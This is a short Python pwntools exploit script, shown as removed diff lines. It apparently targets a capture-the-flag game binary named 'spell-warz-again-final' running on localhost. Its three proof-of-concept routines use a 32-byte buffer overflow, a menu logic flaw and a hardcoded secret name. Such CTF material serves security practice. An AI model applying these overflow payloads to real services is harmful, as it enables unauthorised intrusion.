|
|
- from pwn import process, remote
-
- FILENAME = "./spell-warz-again-final"
-
- def run():
- # return process(FILENAME)
- return remote("127.0.0.1", 60204)
-
- def poc0():
- p = run()
- print p.recvuntil(">")
- p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
- print p.recvuntil(">")
- p.sendline("y")
- print p.recvuntil(">")
- p.sendline("2")
- print p.recvuntil(">")
- p.sendline("4")
- print p.recvuntil(">")
- p.sendline("y")
- for _ in xrange(10):
- print p.recvuntil(">")
- p.sendline("100")
- p.interactive()
-
-
- def poc1():
- p = run()
- print p.recvuntil(">")
- p.sendline("Leo")
- print p.recvuntil(">")
- p.sendline("y")
- for _ in range(2):
- print p.recvuntil(">")
- p.sendline("3")
- print p.recvuntil(">")
- p.sendline("0")
- print p.recvuntil(">")
- p.sendline("y")
- print p.recvuntil(">")
- p.sendline("1")
- print p.recvuntil(">")
- p.sendline("4")
- print p.recvuntil(">")
- p.sendline("y")
- for _ in range(10):
- print p.recvuntil(">")
- p.sendline("99")
- p.interactive()
-
-
- def poc2():
- p = run()
- print p.recvuntil(">")
- p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
- print p.recvuntil(">")
- p.sendline("y")
- print p.recvuntil(">")
- p.sendline("2")
- print p.recvuntil(">")
- p.sendline("4")
- print p.recvuntil(">")
- p.sendline("y")
- for _ in xrange(10):
- print p.recvuntil(">")
- p.sendline("100")
- p.interactive()
-
-
- if __name__ == "__main__":
- poc1()
|